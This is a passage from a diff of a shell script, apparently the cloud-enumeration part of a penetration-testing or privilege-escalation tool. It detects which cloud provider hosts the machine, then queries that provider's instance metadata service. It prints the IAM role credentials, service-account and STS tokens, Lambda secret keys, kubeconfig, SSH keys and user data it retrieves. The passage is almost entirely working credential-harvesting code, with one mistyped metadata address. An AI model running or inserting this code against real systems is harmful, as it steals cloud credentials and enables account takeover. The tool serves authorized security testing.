"Graph token" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" - - print_3title "Vault token" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/" - - print_3title "Storage token" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/" - fi -fi +########################################### +#-----------) Cloud functions (-----------# +########################################### + +GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append" +GCP_BAD_SCOPES="/cloud-platform|/compute" + +exec_with_jq(){ + if [ "$(command -v jq)" ]; then + $@ | jq 2>/dev/null; + if ! [ $? -eq 0 ]; then + $@; + fi + else + $@; + fi +} + +check_gcp(){ + is_gcp="No" + if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then + is_gcp="Yes" + fi +} + +check_do(){ + is_do="No" + if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then + is_do="Yes" + fi +} + +check_aliyun_ecs () { + is_aliyun_ecs="No" + if [ -f "/etc/cloud/cloud.cfg.d/aliyun_cloud.cfg" ]; then + is_aliyun_ecs="Yes" + fi +} + +check_tencent_cvm () { + is_tencent_cvm="No" + if [ "$(cat cloud.cfg | grep tencent)" ]; then + is_tencent_cvm="Yes" + fi +} + +check_ibm_vm(){ + is_ibm_vm="No" + if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then + curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1 + if [ "$?" -eq 0 ]; then + IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) ) + is_ibm_vm="Yes" + fi + fi +} + +check_aws_ecs(){ + is_aws_ecs="No" + if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then + is_aws_ecs="Yes"; + aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4; + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + + elif (env | grep -q ECS_CONTAINER_METADATA_URI); then + is_aws_ecs="Yes"; + aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI; + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + + elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then + is_aws_ecs="Yes"; + fi + + if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + fi +} + +check_aws_ec2(){ + is_aws_ec2="No" + is_aws_ec2_beanstalk="No" + + if [ -d "/var/log/amazon/" ]; then + is_aws_ec2="Yes" + EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) + + else + EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) + if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then + is_aws_ec2="Yes" + fi + fi + + if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then + is_aws_ec2_beanstalk="Yes" + fi +} + +check_aws_lambda(){ + is_aws_lambda="No" + + if (env | grep -q AWS_LAMBDA_); then + is_aws_lambda="Yes" + fi +} + +check_aws_codebuild(){ + is_aws_codebuild="No" + + if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then + is_aws_codebuild="Yes" + fi +} + +check_az_vm(){ + is_az_vm="No" + + if [ -d "/var/log/azure/" ]; then + is_az_vm="Yes" + + elif cat /etc/resolv.conf 2>/dev/null | grep -q "search reddog.microsoft.com"; then + is_az_vm="Yes" + fi +} + +check_az_app(){ + is_az_app="No" + + if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then + is_az_app="Yes" + fi +} + + +check_gcp +print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_ecs +print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_ec2 +print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_lambda +print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aws_codebuild +print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_do +print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aliyun_ecs +print_list "Aliyun ECS? .......................... $is_aliyun_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_tencent_cvm +print_list "Tencent CVM? .......................... $is_tencent_cvm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_ibm_vm +print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_az_vm +print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_az_app +print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," + +echo "" + +if [ "$is_aliyun_ecs" = "Yes" ]; then + aliyun_req="" + aliyun_token="" + if [ "$(command -v curl)" ]; then + aliyun_token=$(curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:1000") + aliyun_req='curl -s -f -H "X-aliyun-ecs-metadata-token: $aliyun_token"' + elif [ "$(command -v wget)" ]; then + aliyun_token=$(wget -q -O - --method PUT "http://100.100.100.200/latest/api/token" --header "X-aliyun-ecs-metadata-token-ttl-seconds:1000") + aliyun_req='wget -q -O --header "X-aliyun-ecs-metadata-token: $aliyun_token"' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$aliyun_token" ]; then + print_2title "Aliyun ECS Enumeration" + print_info "https://help.aliyun.com/zh/ecs/user-guide/view-instance-metadata" + # Todo: print_info "Hacktricks Documents needs to be updated" + + echo "" + print_3title "Instance Info" + i_hostname=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/hostname) + [ "$i_hostname" ] && echo "Hostname: $i_hostname" + i_instance_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance-id) + [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" + # no dup of hostname if in ACK it possibly leaks aliyun cluster service ClusterId + i_instance_name=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-name) + [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name" + i_instance_type=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-type) + [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type" + i_aliyun_owner_account=$(eval $aliyun_req http://i00.100.100.200/latest/meta-data/owner-account-id) + [ "$i_aliyun_owner_account" ] && echo "Aliyun Owner Account: $i_aliyun_owner_account" + i_region_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/region-id) + [ "$i_region_id" ] && echo "Region ID: $i_region_id" + i_zone_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/zone-id) + [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id" + + echo "" + print_3title "Network Info" + i_pub_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/public-ipv4) + [ "$i_pub_ipv4" ] && echo "Public IPv4: $i_pub_ipv4" + i_priv_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/private-ipv4) + [ "$i_priv_ipv4" ] && echo "Private IPv4: $i_priv_ipv4" + net_dns=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/dns-conf/nameservers) + [ "$net_dns" ] && echo "DNS: $net_dns" + + echo "========" + for mac in $(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/); do + echo " Mac: $mac" + echo " Mac interface id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/network-interface-id) + echo " Mac netmask: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/netmask) + echo " Mac vpc id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-id) + echo " Mac vpc cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-cidr-block) + echo " Mac vpc cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-ipv6-cidr-blocks) + echo " Mac vswitch id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-id) + echo " Mac vswitch cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-cidr-block) + echo " Mac vswitch cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-ipv6-cidr-block) + echo " Mac private ips: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/private-ipv4s) + echo " Mac private ips (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6s) + echo " Mac gateway: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/gateway) + echo " Mac gateway (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6-gateway) + echo "=======" + done + + echo "" + print_3title "Service account " + for sa in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/"); do + echo " Name: $sa" + echo " STS Token: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/$sa") + echo " ==============" + done + + echo "" + print_3title "Possbile admin ssh Public keys" + for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/"); do + echo " Name: $key" + echo " Key: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/${key}openssh-key") + echo " ==============" + done + fi +fi + +if [ "$is_tencent_cvm" = "Yes" ]; then + tencent_req="" + if [ "$(command -v curl)" ]; then + tencent_req='curl -sfkG' + elif [ "$(command -v wget)" ]; then + tencent_req='wget -q -O ' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + print_2title "Tencent CVM Enumeration" + print_info "https://cloud.tencent.com/document/product/213/4934" + # Todo: print_info "Hacktricks Documents needs to be updated" + + echo "" + print_3title "Instance Info" + i_tencent_owner_account=$(eval $tencent_req http://169.254.0.23/latest/meta-data/app-id) + [ "$i_tencent_owner_account" ] && echo "Tencent Owner Account: $i_tencent_owner_account" + i_hostname=$(eval $tencent_req http://169.254.0.23/latest/meta-data/hostname) + [ "$i_hostname" ] && echo "Hostname: $i_hostname" + i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-id) + [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" + i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/uuid) + [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" + i_instance_name=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-name) + [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name" + i_instance_type=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance/instance-type) + [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type" + i_region_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/region) + [ "$i_region_id" ] && echo "Region ID: $i_region_id" + i_zone_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/zone) + [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id" + + echo "" + print_3title "Network Info" + i_pri_ipv4=$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/primary-local-ipv4) + [ "$i_pri_ipv4" ] && echo "Primary IPv4: $i_pri_ipv4" + + echo "========" + for mac in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/); do + echo " Mac: $mac" + echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/public-ipv4s) + echo " Mac vpc id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/vpc-id) + echo " Mac subnet id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/subnet-id) + + for lipv4 in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s); do + echo " Mac local ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/local-ipv4) + echo " Mac gateways: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/gateway) + echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/public-ipv4) + echo " Mac public ips mode: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/public-ipv4-mode) + echo " Mac subnet mask: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/local-ipv4s/$lipv4/subnet-mask) + done + echo "=======" + done + + echo "" + print_3title "Service account " + for sa in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/"); do + echo " Name: $sa" + echo " STS Token: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/$sa") + echo " ==============" + done + + echo "" + print_3title "Possbile admin ssh Public keys" + for key in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/"); do + echo " Name: $key" + echo " Key: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/${key}openssh-key") + echo " ==============" + done +fi + +if [ "$is_gcp" = "Yes" ]; then + gcp_req="" + if [ "$(command -v curl)" ]; then + gcp_req='curl -s -f -H "X-Google-Metadata-Request: True"' + elif [ "$(command -v wget)" ]; then + gcp_req='wget -q -O - --header "X-Google-Metadata-Request: True"' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + # GCP Enumeration + if [ "$gcp_req" ]; then + print_2title "Google Cloud Platform Enumeration" + print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security" + + ## GC Project Info + p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id') + [ "$p_id" ] && echo "Project-ID: $p_id" + p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id') + [ "$p_num" ] && echo "Project Number: $p_num" + pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys') + [ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k" + p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true') + [ "$p_attrs" ] && echo "All Project Attributes: $p_attrs" + + # OSLogin Info + osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users) + [ "$osl_u" ] && echo "OSLogin users: $osl_u" + osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups) + [ "$osl_g" ] && echo "OSLogin Groups: $osl_g" + osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys) + [ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk" + osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize) + [ "$osl_au" ] && echo "OSLogin Authorize: $osl_au" + + # Instance Info + inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description) + [ "$inst_d" ] && echo "Instance Description: " + inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname) + [ "$inst_hostn" ] && echo "Hostname: $inst_hostn" + inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id) + [ "$inst_id" ] && echo "Instance ID: $inst_id" + inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image) + [ "$inst_img" ] && echo "Instance Image: $inst_img" + inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type) + [ "$inst_mt" ] && echo "Machine Type: $inst_mt" + inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name) + [ "$inst_n" ] && echo "Instance Name: $inst_n" + inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags) + [ "$inst_tag" ] && echo "Instance tags: $inst_tag" + inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone) + [ "$inst_zone" ] && echo "Zone: $inst_zone" + + inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location") + [ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc" + inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name") + [ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name" + inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin") + [ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e" + inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels") + [ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab" + inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig") + [ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec" + inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env") + [ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv" + + echo "" + print_3title "Interfaces" + for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do + echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip") + echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") + echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway") + echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") + echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network") + echo " ============== " + done + + echo "" + print_3title "User Data" + echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script") + echo "" + + echo "" + print_3title "Service Accounts" + for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do + echo " Name: $sa" + echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email") + echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases") + echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity") + echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g" + echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token") + echo " ============== " + done + fi +fi + +# AWS ECS Enumeration +if [ "$is_aws_ecs" = "Yes" ]; then + print_2title "AWS ECS Enumeration" + + aws_ecs_req="" + if [ "$(command -v curl)" ]; then + aws_ecs_req='curl -s -f' + elif [ "$(command -v wget)" ]; then + aws_ecs_req='wget -q -O -' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$aws_ecs_metadata_uri" ]; then + print_3title "Container Info" + exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri" + echo "" + + print_3title "Task Info" + exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task" + echo "" + else + echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info" + fi + + if [ "$aws_ecs_service_account_uri" ]; then + print_3title "IAM Role" + exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri" + echo "" + else + echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)" + fi +fi + +# AWS EC2 Enumeration +if [ "$is_aws_ec2" = "Yes" ]; then + print_2title "AWS EC2 Enumeration" + + HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" + URL="http://169.254.169.254/latest/meta-data" + + aws_req="" + if [ "$(command -v curl)" ]; then + aws_req="curl -s -f -H '$HEADER'" + elif [ "$(command -v wget)" ]; then + aws_req="wget -q -O - -H '$HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$aws_req" ]; then + printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" + printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" + printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" + printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" + printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" + printf "region: "; eval $aws_req "$URL/placement/region"; echo "" + + echo "" + print_3title "Account Info" + exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" + + echo "" + print_3title "Network Info" + for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do + echo "Mac: $mac" + printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" + printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" + printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" + echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" + printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" + echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" + printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" + echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" + echo "" + done + + echo "" + print_3title "IAM Role" + exec_with_jq eval $aws_req "$URL/iam/info"; echo "" + for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do + echo "Role: $role" + exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo "" + echo "" + done + + echo "" + print_3title "User Data" + eval $aws_req "http://169.254.169.254/latest/user-data"; echo "" + + echo "" + echo "EC2 Security Credentials" + exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" + + print_3title "SSM Runnig" + ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED}," + fi +fi + +# AWS Lambda Enumeration +if [ "$is_aws_lambda" = "Yes" ]; then + print_2title "AWS Lambda Enumeration" + printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME + printf "Region: "; env | grep AWS_REGION + printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY + printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID + printf "Session token: "; env | grep AWS_SESSION_TOKEN + printf "Security token: "; env | grep AWS_SECURITY_TOKEN + printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API + printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next") +fi + +# AWS Codebuild Enumeration +if [ "$is_aws_codebuild" = "Yes" ]; then + print_2title "AWS Codebuild Enumeration" + + aws_req="" + if [ "$(command -v curl)" ]; then + aws_req="curl -s -f" + elif [ "$(command -v wget)" ]; then + aws_req="wget -q -O -" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + echo "The addresses are in /codebuild/output/tmp/env.sh" + fi + + if [ "$aws_req" ]; then + print_3title "Credentials" + CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2) + URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig + exec_with_jq eval $aws_req "$URL_CREDS"; echo "" + + print_3title "Container Info" + METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2) + exec_with_jq eval $aws_req "$METADATA_URL"; echo "" + fi +fi + +# DO Droplet Enumeration +if [ "$is_do" = "Yes" ]; then + print_2title "DO Droplet Enumeration" + + do_req="" + if [ "$(command -v curl)" ]; then + do_req='curl -s -f ' + elif [ "$(command -v wget)" ]; then + do_req='wget -q -O - ' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$do_req" ]; then + URL="http://169.254.169.254/metadata" + printf "Id: "; eval $do_req "$URL/v1/id"; echo "" + printf "Region: "; eval $do_req "$URL/v1/region"; echo "" + printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo "" + printf "User data: "; eval $do_req "$URL/v1/user-data"; echo "" + printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo "" + printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces"; + printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip"; + printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip"; + printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags"; + printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features"; + fi +fi + +# IBM Cloud Enumeration +if [ "$is_ibm_vm" = "Yes" ]; then + print_2title "IBM Cloud Enumeration" + + if ! [ "$IBM_TOKEN" ]; then + echo "Couldn't get the metadata token:(" + + else + TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN" + ACCEPT_HEADER="Accept: application/json" + URL="http://169.254.169.254/latest/meta-data" + + ibm_req="" + if [ "$(command -v curl)" ]; then + ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" + elif [ "$(command -v wget)" ]; then + ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$ibm_req" ]; then + print_3title "Instance Details" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" + + print_3title "Keys and User data" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" + + print_3title "Placement Groups" + exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" + + print_3title "IAM credentials" + exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" + fi + fi + +fi + +# Azure VM Enumeration +if [ "$is_az_vm" = "Yes" ]; then + print_2title "Azure VM Enumeration" + + HEADER="Metadata:true" + URL="http://169.254.169.254/metadata" + API_VERSION="2021-12-13" # https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions 